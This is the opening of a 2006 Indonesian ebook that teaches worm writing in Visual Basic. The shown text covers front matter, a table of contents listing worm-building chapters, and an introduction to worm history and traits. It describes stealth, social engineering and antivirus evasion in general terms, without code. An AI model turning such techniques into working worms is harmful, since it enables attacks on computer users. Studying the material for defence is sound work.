You are on page 1of 297

Computer Worm 1 - Secret of Underground Coding

Hak Cipta 2006 pada penulis

Hak Cipta dilindungi Undang-Undang. Dilarang memperbanyak atau memindahkan sebagian atau seluruh isi buku ini dalam bentuk apapun, baik secara elektronis maupun mekanis, termasuk memfotocopy, merekam atau dengan sistem penyimpanan lainnya, tanpa izin tertulis dari Penulis dan Penerbit.

ISBN 979-1090-01-7

Cetakan pertama

: Juli 2006

Publisher Jasakom Web Site http://www.jasakom.com Email admin@jasakom.com

Toko Online www.TokoMahal.com

Ketentuan pidana pasal 72 UU No. 19 tahun 2002


1. Barang siapa dengan sengaja dan tanpa hak melakukan kegiatan sebagaimana dimaksud dalam pasal 2 ayat (1) atau pasal 49 ayat (1) dan ayat (2) dipidana dengan pidana penjara paling singkat 1 (satu) bulan dan/atau denda paling sedikit Rp. 1.000.000 (satu juta rupiah) atau pidana penjara paling lama 7 (tujuh) tahun dan/ atau denda paling banyak Rp. 5.000.000.000.00 (lima miliar rupiah). 2. Barang siapa dengan sengaja menyiarkan, memamerkan, mengedarkan, atau menjual kepada umum suatu Ciptaan atau barang hasil pelanggaran Hak Cipta atau Hak Terkait sebagaimana dimaksud pada ayat (1), dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau denda paling banyak Rp. 500.000.000,00 (lima ratus juta rupiah)

Computer Worm 1
Secret of Underground Coding

Versi eBook
tanpa CD pendukung

ISI CD PENDUKUNG
Buku ini disertai dengan sebuah CD pendukung yang berisi film tutorial sehingga pembaca bukan saja hanya membaca buku tetapi juga bisa melihat langsung teknik pembuatan suatu worm komputer, kemudian kumpulan source code / listing code yang digunakan pada buku dan beberapa program pendukung sebagai berikut:

DEMOWARE
VM Ware Virtual PC DeepFreeze ShadowUser ASPack UltraEdit 55.9 MB 17.1 MB 2.06 MB 7.80 MB 297 KB 1.69 MB

FREEWARE
A Squared HijackFree CXUPX Darmals Packer DOS 7.10 DropFile Script Generator HHD Hex Editor Icon Sucker Std KillBox Petite Process Explorer Registrar Lite Resource Hacker UPX 1.25 UPX Mutanter UPX Scrambler UPX Windows GUI 497 KB 419 KB 730 KB 765 KB 21.5 KB 2.07 MB 658 KB 67,5 KB 117 KB 1.24 MB 2.28 MB 1.32 MB 163 KB 38.9 KB 17.5 KB 199 KB

Puji syukur ke hadirat Allah SWT, atas berkat dan rahmat-Nya pula sehingga penulis dapat menyelesaikan penulisan buku: Computer Worm ini dengan baik. Hingga buku ini selesai ditulis, penulis belum mendapatkan adanya buku yang khusus membahas mengenai worm komputer baik dengan mengunjungi ke toko-toko buku secara langsung maupun berkunjung secara online. Sedangkan hal ini sangat penting sekali, terlebih pada saat buku ini disusun dimana perkembangan dan tingkat penyebaran worm lokal di Indonesia sangat tinggi dan cenderung semakin mengganas. Ironisnya banyak sekali pengguna komputer yang tidak mengerti perbedaan antara worm dan virus, sehingga worm seringkali diasumsikan sebagai suatu virus komputer dan banyak pula yang berasumsi bahwa worm merupakan suatu sub-class dari virus komputer, memang suatu kesalahan umum sehingga penulispun terkadang menggunakan istilah ini , lagipula penulis tidak berminat menjelaskan arti worm komputer (yang akan berbuntut dengan penjelasan panjang lebar tentang perbedaannya dengan virus komputer) setiap kali penulis menyebutkan istilah worm komputer , penulis berpendapat momen inilah yang paling tepat untuk menjelaskannya kepada pembaca semua. Buku ini bertujuan untuk menjelaskan kepada para pembaca, apa sesungguhnya worm komputer itu, apa perbedaanya dengan virus komputer, dan bagaimana worm tersebut diprogram. Buku ini tidak hanya membahas tentang worm komputer saja, tetapi juga memuat beberapa materi standar yang harus diketahui dalam rangka membuat atau memerangi suatu worm komputer. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi seba-

Jasakom

Computer Worm 1 - Secret of Underground Coding

KATA PENGANTAR

liknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut, lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca, selain itu penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini. Dalam kesempatan ini, penulis mengucapkan terima kasih kepada kedua orang tua penulis, seluruh dosen POLNES (Politeknik Negeri Samarinda) khususnya untuk Bapak Ruslan Ardi dan Bapak Arkas Viddy, kemudian salam penulis untuk alumni SMK Negeri 1 Tarakan angkatan 95 98, dan alumni POLNES angkatan 98 2001, salam juga untuk teman-teman di AMIK PPKIA Tarakan. Tidak lupa pula penulis mengucapkan terima kasih kepada penerbit Jasakom yang berkenan menerbitkan buku ini, special thanks buat Sto yang sudah banyak membantu dalam proses pembentukan buku. Akhir kata penulis penulis menyadari adanya kekurangan-kekurangan pada buku ini, maka dengan tidak merendahkan diri, penulis mengharapkan kritik dan saran yang bersifat membangun, untuk itu silahkan kirim e-mail Anda ke alamat e-mail penulis di: achmad_darmal@ yahoo.com.sg, dengan subjek: worm komputer (untuk menghindari spam mail, penulis membuat agar e-mail dengan subjek lain akan segera dihapus secara otomatis).

Computer Worm 1 - Secret of Underground Coding

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."

Jasakom

vi

KATA PENGANTAR BAB 1 PENDAHULUAN BAB 2 MENGENAL WORM


2.1 ASAL MULA WORM KOMPUTER 2.2 PERBEDAAN WORM DAN VIRUS 2.3 KEMAMPUAN DASAR WORM 2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI 2.3.2 KEMAMPUAN REKAYASA SOSIAL 2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI 2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI 2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI 2.4 SIKLUS HIDUP WORM 2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN ) 2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR ) 2.4.3 TRIGERRING PHASE ( FASE AKTIF ) 2.4.4 EXECUTION PHASE ( FASE EKSEKUSI ) 2.5 PERKEMBANGAN WORM NON LOKAL 2.5.1 CHRISTMA EXEC 2.5.2 MORRIS 2.5.3 HAPPY99 2.5.4 MELISA 2.5.5 PRETTY PARK 2.5.6 EXPLORE ZIP 2.5.7 BUBBLE BOY 2.5.8 LOVE LETTER 2.5.9 HYBRIS

v 1 5
6 8 9 9 9 10 10 10 11 11 11 11 11 12 12 12 13 13 14 14 15 16 16

vii

Jasakom

Computer Worm 1 - Secret of Underground Coding

Daftar Isi

Computer Worm 1 - Secret of Underground Coding

2.5.10 ANNA KOURNIKOVA 2.5.11 SADMIND 2.5.12 CODE RED 2.5.13 NIMDA 2.5.14 BADTRANS.B 2.5.15 KLEZ 2.5.16 SLAMMER 2.5.17 BAGLE 2.5.18 NETSKY 2.6 PERKEMBANGAN WORM LOKAL 2.6.1 I-WORM PERKASA 2.6.2 PESIN 2.6.3 TABARU 2.6.4 KANGEN 2.6.5 KUMIS 2.6.6 DECOIL 2.6.7 RONTOKBRO 2.6.8 NOBRON 2.6.9 RUNITIS 2.6.10 BLUEFANTASY 2.6.11 ROMDIL 2.6.12 MYBRO 2.6.13 IRCBOT.AQF 2.6.14 LIGHTMOON

17 17 17 18 19 20 21 21 22 22 22 23 23 24 24 25 25 25 26 26 27 27 28 28

BAB 3 REGISTRY WINDOWS


3.1 STRUKTUR REGISTRY 3.1.1 HIVE 3.1.2 VALUE 3.2 REGISTRY EDITOR (REGEDIT) 3.2.1 MEMBUKA APLIKASI REGISTRY EDITOR 3.2.2 LINGKUNGAN KERJA REGISTRY EDITOR

29
30 31 31 32 32 33

Jasakom

viii

3.3.1 BACKUP & RESTORE REGISTRY 3.3.2 EXPORT & IMPORT DATA REGISTRY 3.3.3 MANIPULASI KEY & VALUE 3.3.4 PENCARIAN TEKS PADA KEY, VALUE ATAU DATA 3.3.5 MENGGUNAKAN PERINTAH BARIS (COMMAND LINE) 3.3.6 MEMANFAATKAN FILE REG

34 35 35 37 38 39

BAB 4 MENGENAL VISUAL BASIC 6.0


4.1 LINGKUNGAN KERJA VISUAL BASIC 4.1.1 MENUBAR 4.1.2 TOOLBAR 4.1.3 PROJECT EXPLORER 4.1.4 PROPERTIES WINDOWS 4.1.5 FORM LAYOUT WINDOW 4.1.6 TOOLBOX 4.1.7 FORM WINDOW 4.1.8 CODE WINDOW 4.2 PEMBUATAN APLIKASI 4.2.1 MEMBUAT PROYEK 4.2.2 MENYISIPKAN CONTROL 4.2.3 SETTING PROPERTIES 4.2.4 MENGETIK KODE PROGRAM 4.2.5 MENYIMPAN PROGRAM 4.2.6 MENJALANKAN PROGRAM 4.2.7 KOMPILASI PROGRAM MENJADI EXE

41
42 43 43 43 44 44 44 45 45 46 46 47 47 47 48 48 49

BAB 5 OBJECT FORM DAN CONTROL


5.1 FORM 5.2 KONTROL 5.2.1 PICTUREBOX 5.2.2 LABEL 5.2.3 TEXTBOX

51
53 54 55 56 57

ix

Jasakom

Computer Worm 1 - Secret of Underground Coding

3.3 OPERASI DASAR REGISTRY EDITOR

33

Computer Worm 1 - Secret of Underground Coding


x

5.2.4 FRAME 5.2.5 COMMANDBUTTON 5.2.6 CHECKBOX 5.2.7 OPTIONBUTTON 5.2.8 COMBOBOX 5.2.9 LISTBOX 5.2.10 HSCROLLBAR 5.2.11 VSCROLLBAR 5.2.12 TIMER 5.2.13 DRIVELISTBOX 5.2.14 DIRLISTBOX 5.2.15 FILELISTBOX 5.2.16 SHAPE 5.2.17 LINE 5.2.18 IMAGE 5.2.19 DATA 5.2.20 OLE

58 58 59 60 61 62 63 64 65 66 66 67 68 69 69 70 71

BAB 6 KODE PROGRAM


6.1 VARIABEL 6.1.1 IMPLICIT 6.1.2 EXPLICIT 6.2 STATEMENTS AND EXPRESSIONS 6.3 OPERATOR 6.3.1 OPERATOR PENUGASAN (ASSIGNMENT) 6.3.2 OPERATOR ARITMATIKA 6.3.3 OPERATOR KOMPARASI 6.3.4 OPERATOR LOGIKA 6.4 PERCABANGAN (BRANCHING) 6.4.1 PERCABANGAN IF/THEN/ELSE 6.4.2 PERCABANGAN SELECT CASE 6.4.3 PERCABANGAN GOSUB/RETURN 6.4.4 PERCABANGAN GOTO 6.4.5 PERCABANGAN ON ERROR

73
74 75 76 77 78 78 78 79 80 81 81 82 83 83 84

Jasakom

6.5.1 DO WHILE/LOOP 6.5.2 DO UNTIL/LOOP 6.5.3 DO/LOOP WHILE 6.5.4 DO/LOOP UNTIL 6.5.5 FOR/NEXT 6.6 PENGHENTIAN (TERMINATING) 6.6.1 END 6.6.2 EXIT 6.6.3 STOP 6.7 ARRAY 6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL 6.7.2 DEKLARASI DENGAN KEYWORD TO 6.8 PENANGANAN FILE 6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE 6.8.2 MEMBUAT SALINAN / MENG-COPY FILE 6.8.3 MENGHAPUS FILE 6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE 6.8.5 MENGETAHUI BESAR FILE 6.8.6 MENGETAHUI TANGGAL DAN WAKTU FILE 6.8.7 MENGETAHUI DRIVE DAN DIREKTORI AKTIF 6.8.8 MENGATUR DRIVE AKTIF 6.8.9 MENGATUR DIREKTORI AKTIF 6.8.10 MEMBUAT DIREKTORI BARU 6.8.11 MENGHAPUS DIREKTORI 6.8.12 MENGUBAH NAMA DIREKTORI 6.9 OPERASI FILE TEXT 6.9.1 MEMBUAT FILE TEXT 6.9.2 MEMBACA FILE TEXT 6.10 OPERASI FILE BINARY 6.10.1 MEMBUAT FILE BINARY 6.10.2 MEMBACA FILE BINARY 6.11 FILE SYSTEM OBJECT (FSO)

85 85 85 86 86 87 87 87 88 88 88 89 90 90 91 91 92 93 94 94 95 95 96 96 97 97 97 98 99 99 100 101

xi

Jasakom

Computer Worm 1 - Secret of Underground Coding

6.5 PENGULANGAN (LOOPING)

85

Computer Worm 1 - Secret of Underground Coding

BAB 7 WORM WSar.1


7.1 WORM DASAR 1 7..2 ALGORITMA 7.3 PEMROGRAMAN

103
105 106 106

BAB 8 WORM WSar.2


8.1 ALGORITMA 8.2 PEMROGRAMAN

117
117 118

BAB 9 WORM WSar.3


9.1 ALGORITMA 9.2 PEMROGRAMAN

125
125 126

BAB 10 WORM WSar.4


10.1 ALGORITMA 10.2 PEMROGRAMAN

135
135 136

BAB 11 WORM WSar.5


11.1 ALGORITMA 11.2 PEMROGRAMAN

151
152 153

BAB 12 WORM WSar.6


12.1 ALGORITMA 12.2 PEMROGRAMAN

165
166 166

BAB 13 WORM WSar.7


13.1 COMPARISON METHODE 13.2 ALGORITMA 13.3 PEMROGRAMAN

179
180 191 191

Jasakom

xii

14.1 WATCHER METHODE 14.2 ENCRYPTION METHODE 14.3 POLYMORPHIC METHODE 14.4 ALGORITMA 14.5 PEMROGRAMAN

208 209 212 214 215

BAB 15 WORM WSar.9


15.1 DROP FILE METHODE 15.2 ALGORITMA 15.3 PEMROGRAMAN

243
244 250 251

xiii

Jasakom

Computer Worm 1 - Secret of Underground Coding

BAB 14 WORM WSar.8

207

Computer Worm 1 - Secret of Undeground Coding : Uncensored

eiring dengan pesatnya kemajuan teknologi informasi khususnya dibidang teknologi komputer dan jaringan, keamanan menjadi isu yang kerap kali dibahas, mulai dari ancaman langsung para cracker atau hacker jahat hingga ancaman yang dilakukan melalui suatu program yang disebut malcode (malicious code). Suatu program atau script apapun yang bersifat merusak atau merugikan dapat dikategorikan sebagai malcode termasuk virus komputer, worm atau trojan horse. Maraknya penyebaran virus, worm atau trojan horse, ternyata semakin memberikan semangat bagi para pembuat worm lokal untuk terus berkarya. Di Indonesia sendiri worm lokal mulai menunjukan aktifitas yang cukup signifikan di awal era millenium, pada tahun 2003 pengguna komputer di Indonesia disibukkan oleh sebuah worm lokal yang diperkirakan berhasil menginfeksi ribuan komputer di Indonesia.

Jasakom

Bab 1. Pendahuluan

BAB 1 PENDAHULUAN

Computer Worm 1 - Secret of Underground Coding : Uncensored

Worm ini kemudian oleh salah satu perusahaan antivirus terkenal diberi nama w32/pesin.worm.gen, bersamaan dengan munculnya varian-varian worm Pesin yang baru, ikut muncul sejumlah worm lokal lainnya seperti diberitakan sebuah situs Indonesia yang konsen terhadap malcode, www.vaksin.com. Bahkan pada saat buku ini ditulis, aktifitas worm di Indonesia semakin meningkat, terbukti dari sejumlah forum, penulis menemukan beberapa posting yang menunjukan adanya gejala-gejala penyebaran worm lokal yang baru. Motif yang digunakan semakin beragam, mulai dari hanya sekedar "pamer", sampai dengan pengrusakan dan pencurian data. Media penyebaran pun semakin canggih mulai dari disket, USB flash disk sampai dengan jaringan termasuk internet. Namun satu hal yang pasti, penyebaran worm tersebut telah membawa dampak yang cukup besar bagi para pengguna komputer baik materiil maupun non materiil. Penulis berharap buku ini dapat menambah pengetahuan bagi penggemar TI, system administrator atau siapa saja yang selalu menggunakan komputer, dan bukan untuk mengajari hal-hal negatif kepada para pemula, tapi sebaliknya memberi kesadaran kepada mereka yang senantiasa melakukan hal-hal negatif untuk menghentikan tindakan negatif tersebut. Lebih baik lagi apabila mereka juga memberi kontribusi untuk menghentikan perkembangan worm komputer dan malcode lainnya di bumi pertiwi ini. Buku ini akan menunjukan bagaimana seorang worm writer membuat suatu worm komputer, dan bagaimana memerangi worm tersebut dengan cara yang nyaris sama. Secara umum buku ini akan membicarakan tujuh hal bidang utama, yaitu: 1. 2. 3. 4. 5. 6. 7. Mengenal worm komputer Menggunakan registry pada Microsoft Windows Menggunakan Visual Basic 6.0 Pemrograman worm komputer Membuat program removal Pemrograman virus komputer Kompresi dengan UPX

Bab 1. Pendahuluan

Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Perlu Anda ketahui bahwa seluruh software tersebut berlisensi freeware (gratis) dan freetrial (gratis coba) sehingga Anda tidak dikenakan biaya apapun untuk software tersebut kecuali biaya CD dan ongkos pembuatannya, penulis tak lebih hanya men-download-kannya untuk Anda. Membahas pembuatan suatu worm memerlukan pengertian akan tanggung jawab moral yang besar, karena worm komputer dapat menimbulkan dampak yang sangat fatal dan merugikan maka penulis sangat mengharapkan kebaikan moral para pembaca. Selain itu, penulis tidak bertanggung jawab apabila ada penyalahgunaan atas informasi, script atau program-program yang disertakan bersama buku ini.

"Dengan mengetahui, mengerti dan menguasai teknik pembuatan suatu virus, worm atau malcode lainnya, sesungguhnya sudah tidak dibutuhkan tutorial lain untuk memeranginya."

Jasakom

Bab 1. Pendahuluan

Buku ini juga disertai sebuah CD yang berisi video tutorial untuk menambah pemahaman Anda dalam mempelajari buku ini, kemudian kumpulan source code yang digunakan sebagai latihan dan beberapa program-program pendukung.

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 2 MENGENAL WORM


Bab 2. Mengenal Worm

Kenapa bab ini ada?


Seorang administrator sistem bisa dengan cepat mengetahui apabila suatu worm yang sama menginfeksi sebuah sistem dengan melihat gejala yang ditimbulkan. Selain itu untuk membuat suatu program removal juga diperlukan pengetahuan tentang worm, dan pengetahuan tersebut bisa berupa teori, sejarah perkembangan atau catatan singkat tentang worm yang pernah ada.

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.1 ASAL MULA WORM KOMPUTER

agasan worm dan virus berawal pada tahun 1949, saat seorang founder Electronic Discrete Variable Automatic Computer (EDVAC), John Von Newman, memaparkan dalam sebuah papernya yang berjudul "Theory and Organization of Complicated Automata", dibahas suatu kemungkinan bahwa suatu program dapat melakukan penyebaran dengan sendirinya. Kemudian pada tahun 1960-an, para peneliti AT&T Bell Laboratory membuat semacam permainan dengan menciptakan suatu program yang dapat memusnahkan program ciptaan lawan, dan mampu bertahan terhadap serangan program lawan lainnya. Pada akhirnya si-pemenang adalah pemilik program yang tersisa paling banyak. Para peneliti sadar akan bahaya program tersebut, maka setiap selesai permainan program tersebut selalu dimusnahkan. Cikal bakal program worm pertama kali dibuat oleh Bob Thomas pada tahun 1971. Program ini merupakan solusi dari kebutuhan system kendali lalu lintas udara. Program ini akan membantu mengingatkan operator apabila pengendalian suatu pesawat udara berpindah dari satu komputer ke komputer lainnya. Sesungguhnya program yang disebut "creeper" ini hanya berpindah dari layar ke layar pada jaringan, dengan menampilkan pesan "Im creeper! Catch me if you can!". Tetapi program creeper tidak mereproduksi dirinya sendiri, hingga beberapa programmer lain mencoba membuat program serupa, tetapi gagasan tersebut berangsur-angsur hilang dalam beberapa bulan kemudian. Istilah "virus" mungkin sudah tidak asing terdengar, dapat dikatakan hampir setiap orang yang mengenal komputer juga mengenal istilah ini, sementara istilah "worm" tidak begitu dikenal, padahal istilah ini diciptakan oleh John Shoch dan Jon Hupp di Xerox PARC (Palo Alto Research Centre) pada tahun 1979 sebelum istilah virus komputer dipublikasikan. Istilah worm ini ternyata diilhami oleh suatu program "tapeworm" (cacing pita) dalam sebuah novel fiksi ilmiah karangan John Brunner yang berjudul "The Shockwave Rider", yang mengisahkan suatu

Bab 2. Mengenal Worm

Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

pemerintahan totaliter yang mengendalikan warga negaranya melalui suatu jaringan komputer. Untuk memerangi hal itu akhirnya seorang pahlawan dalam novel tersebut kemudian memenuhi jaringan dengan suatu program yang disebut "tapeworm" sehingga memaksa mematikan jaringan komputer yang secara otomatis juga menghilangkan kendali pemerintah terhadap warga negaranya. Kemudian diawal tahun 1980 John Shoch dan Jon Hupp mengadakan sebuah penelitian dengan mengembangkan lima buah program worm, masing-masing worm dibuat dengan tujuan tertentu yang membantu jaringan disekitarnya. Beberapa worm terlihat sederhana, seperti worm "town crier" yang bertugas memasuki jaringan hanya untuk menampilkan pengumuman. Worm lainnya terlihat lebih kompleks dan pintar, seperti worm "vampire". Worm ini tidak akan melakukan kegiatan pada siang harinya, tetapi saat malam hari worm akan melakukan suatu kegiatan tertentu yang telah terprogram sebelumnya, ini berguna untuk memanfaatkan komputer yang tidak bekerja pada malam hari dengan memberikan tugas yang kompleks dan memerlukan daya proses yang lebih. Saat fajar, worm akan menghentikan pekerjaannya dengan terlebih dahulu menyimpan seluruh pekerjaan yang dilakukannya malam itu dan menunggu sore berikutnya. Walau bagaimanapun, walaupun program ini berguna tapi disadari bahwa program ini juga akan sangat berbahaya apabila salah digunakan. Hal ini terbukti saat sebuah worm mengalami malfungsi pada suatu malam dan keesokan harinya para pekerja menemukan seluruh komputer yang ada pada jaringan tersebut mengalami crash (suatu kerusakan dimana system output dan input tidak berfungsi). Lebih dari itu saat komputer dihidupkan kembali, worm malfungsi tersebut kembali membuat komputer crash. Pada akhirnya dibuat semacam vaksin untuk mencegah worm tersebut, dan mulai saat itu penelitian terhadap worm tersebut ditutup untuk umum.

Jasakom

Bab 2. Mengenal Worm

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.2 PERBEDAAN WORM DAN VIRUS


Istilah "virus" selalu digunakan sebagai suatu acuan umum untuk setiap malcode (program atau script yang dibuat dengan tujuan membahayakan atau merugikan sebuah system komputer), seperti worm, trojan bahkan hoax yang sesungguhnya bukan sebuah virus komputer, berikut adalah beberapa jenis malcode tersebut: 1. Computer virus: merujuk pada program yang memiliki kemampuan untuk ber- reproduksi, menulari program lain dan menjadikan file-file program tertular sebagai file infector. Computer worm: merujuk pada program independen yang memiliki kemampuan untuk ber-reproduksi, menulari system komputer dan walaupun mampu untuk menulari program lain namun tidak bertujuan untuk menjadikan file tertular tersebut sebagai suatu file infector. Trojan horse: merujuk pada program independen yang tampaknya berguna, dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif dan merugikan. Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program-program yang dapat membahayakan sebuah system komputer. Contoh dari program jenis ini adalah tool pembuat virus dan program yang dibuat untuk membantu proses cracking atau hacking. Bab 2. Mengenal Worm

2.

3.

4.

Dari beberapa keterangan diatas dapat diperjelas bahwa worm adalah suatu algoritma atau program yang mereproduksi diri sendiri dari system ke system dengan menggunakan media penyimpanan atau suatu jaringan. Worm tidak menginfeksi file program lain dengan tujuan menjadikan file terinfeksi tersebut sebagai file infector. Worm mampu bekerja

Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2.3 KEMAMPUAN DASAR WORM


Worm umumnya memiliki kemampuan-kemampuan dasar berikut ini:

2.3.1 KEMAMPUAN REPRODUKSI DAN DISTRIBUSI


Yaitu kemampuan yang mutlak dimiliki suatu worm untuk membuat salinan dirinya, sekaligus mendistribusikan salinan tersebut pada system yang lain baik melalui media penyimpanan seperti disket, USB flash disk maupun melalui suatu jaringan komputer. Walaupun memiliki rutin untuk menginfeksi program lain namun tidak bertujuan menjadikan file program terinfeksi menjadi suatu file infector. Pada awalnya worm dibuat dengan aksi memenuhi harddisk dan jaringan, namun seiring dengan perkembangan teknologi informasi hal ini akhirnya banyak ditinggalkan worm writer karena malah akan mengurangi kemampuannya untuk menyembunyikan diri, yang akan berakibat worm tersebut cepat "terendus" oleh advanced user atau bahkan perusahaan-perusahaan antivirus.

2.3.2 KEMAMPUAN REKAYASA SOSIAL


Karena file infector worm akan aktif saat user mengeksekusinya maka social engineering atau rekayasa sosial menjadi hal yang sangat penting bagi suatu worm.

Jasakom

Bab 2. Mengenal Worm

tanpa interaksi user, bisa merusak sebuah data secara langsung atau menurunkan kinerja system dengan "mengikat" sumber daya system komputer dan bahkan bisa mematikan sebuah jaringan. Berbeda dengan virus yang melakukan infeksi dengan 'menumpang pada file program lain, menunggu interaksi user dan menjadikan file terinfeksi sebagai file infector.

Computer Worm 1 - Secret of Underground Coding : Uncensored

Layaknya seorang penjual yang mati-matian merayu calon pembeli maka worm akan 'merias programnya dengan icon dan nama yang sangat memikat agar user mengeksekusinya. Suatu worm bisa saja membuat salinan dirinya dengan nama file 'porno dan dengan gambar icon yang sangat tidak mencurigakan.

Bab 2. Mengenal Worm

2.3.3 KEMAMPUAN MENYEMBUNYIKAN DIRI


Menjaga tetap tidak diketahui adalah penting untuk worm jaman sekarang agar tetap bertahan pada suatu system. Hal ini biasanya dilakukan dengan cara tidak menampilkan sesuatu dari worm baik berupa suara maupun tampilan visual, menyembunyikan program worm dari taskbar bahkan dari jendela tasklist.

2.3.4 KEMAMPUAN MENDAPATKAN INFORMASI


Suatu worm harus bisa mendapatkan informasi yang ia butuhkan, seperti jenis sistem operasi yang digunakan, direktori root, direktori System Windows bahkan worm umumnya memeriksa suatu system apakah telah terpasang antivirus atau tidak, lebih jauh lagi worm akan berusaha mengenali jenis antivirus yang terpasang.

2.3.5 KEMAMPUAN MENGADAKAN MANIPULASI


Umumnya manipulasi dilakukan oleh worm untuk bertahan hidup,. Worm cenderung mengadakan manipulasi pada registry agar worm bisa tetap aktif saat komputer dihidupkan, bahkan memanipulasi registry milik suatu antivirus agar tidak mengganggu worm tersebut. Tapi worm bisa saja mengadakan manipulasi yang terlepas dari tujuan tadi, seperti mengubah volume label pada harddisk atau disket.

Jasakom

10

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2.4 SIKLUS HIDUP WORM


Siklus hidup worm secara umum, melalui 4 tahap:

2.4.1 PROPAGATION PHASE ( FASE PENYEBARAN )


Pada fase ini worm akan membuat salinan dirinya ke suatu tempat, baik pada media penyimpanan fix disk (tetap) atau removable disk (dapat dipindahkan), adapun penyebarannya dapat dilakukan pada system lokal, jaringan atau internet.

2.4.2 DORMANT PHASE ( FASE ISTIRAHAT/TIDUR )


Pada fase ini worm tidaklah aktif. Worm akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dan sebagainya. Tidak semua worm melalui fase ini.

2.4.3 TRIGERRING PHASE ( FASE AKTIF )


Di fase ini worm tersebut akan aktif dan menetap pada memory, hal ini dipicu oleh metode launcher yang digunakan worm tersebut.

2.4.4 EXECUTION PHASE ( FASE EKSEKUSI )


Pada fase inilah worm yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan dan sebagainya.

11

Jasakom

Bab 2. Mengenal Worm

Computer Worm 1 - Secret of Underground Coding : Uncensored

2.5 PERKEMBANGAN WORM NON LOKAL


Berikut ini beberapa catatan singkat tentang worm yang pernah ada dan membuat banyak kerugian para pengguna komputer. Bab 2. Mengenal Worm

2.5.1 CHRISTMA EXEC


Pada tanggal 9 Desember 1987, worm "Christma Exec" menjadi worm pertama yang mampu menyebar dengan menggunakan media e-mail diantara komputer mainframe IBM. Worm ini juga menjadi contoh penggunaan social engineering, dengan mengajak user untuk mengeksekusi worm tersebut dengan dalih akan menampilkan gambar pohon natal. Worm tersebut memang menghasilkan gambar pohon natal pada layar monitor (digambar dengan menggunakan bahasa script yang disebut Rexx), tetapi worm tersebut juga mengirimkan salinan dirinya dengan menggunakan nama user kepada setiap nama yang ada pada daftar e-mail penerima, sehingga penerima percaya bahwa e-mail yang dikirimkan tersebut adalah benar dari user yang dikenal dan bersedia membukanya.

2.5.2 MORRIS
Pada tanggal 2 Nopember 1988, worm Morris yang terkenal pada waktu itu berhasil melumpuhkan 6.000 komputer dalam beberapa jam. Worm tersebut dibuat oleh seorang siswa Cornell, Robert Morris Jr. Kemudian diadakan penyelidikan, sampai akhirnya Morris dijatuhkan hukuman pada tahun 1990. Kesimpulan yang diperoleh adalah motivasi dalam menulis worm tersebut tidak diketahui dan worm tidak diprogram untuk sengaja melakukan pengrusakan, tetapi kerusakan yang ditimbulkan disebabkan oleh kecelakaan dan kesalahan pemrograman. Dibulan Oktober 1989, muncul sebuah worm bernama WANK (Worms Against Nuclear Killers) yang tampaknya belajar dari worm Morris dan melakukan penularan pada komputer VMS pada DECNet. Worm ini

Jasakom

12

Computer Worm 1 - Secret of Undeground Coding : Uncensored

menyebar dengan memanfaatkan e-mail dan mengeksploitasi system untuk mendapatkan hak akses dengan berusaha mencari account user name dan password.

Pada bulan Januari 1999, worm happy99 menyebar lewat e-mail dengan attachment sebuah file aplikasi bernama happy99.exe. Ketika file tersebut dieksekusi tampil gambar kembang api untuk memperingati tahun baru 1999, tetapi secara diam-diam memodifikasi file WSOCK32.DLL (file system untuk koneksi internet) dengan suatu program trojan horse yang mengijinkan worm tersebut menyisipkan dirinya pada proses komunikasi internet, sementara file WSOCK32.DLL yang asli diubah kembali namanya menjadi WSOCK32.SKA

2.5.4 MELISA
Di bulan Maret 1999, sebuah virus macro "Melisa" kembali meresahkan pengguna internet dengan menginfeksi 100.000 unit komputer hanya dalam waktu tiga hari. Virus tersebut memulai penyebarannya dengan pengiriman perdana ke Usenet Newsgroup "alt.sex" yang menjanjikan account name berikut password untuk dapat mengakses sebuah situs erotis. Sebuah perusahaan antivirus Norton menyebutkan bahwa virus ini adalah penggabungan antara worm dan virus. Mellisa menyertakan sebuah file attachment berupa file dokumen Word yang terinfeksi. Ironisnya saat itu masih banyak yang percaya bahwa dengan membuka sebuah e-mail tidak dapat menginfeksi sebuah komputer. Ketika macro tersebut tereksekusi oleh aplikasi Word. Pertama kali yang dilakukannya adalah melakukan pemeriksaan apakah versi aplikasi Word yang digunakan bisa diinfeksi, jika bisa maka virus akan mengurangi pengaturan keamanan pada aplikasi Word untuk mencegah aplikasi menampilkan pesan atau peringatan tentang adanya suatu macro, yang akan mencurigakan user.

13

Jasakom

Bab 2. Mengenal Worm

2.5.3 HAPPY99

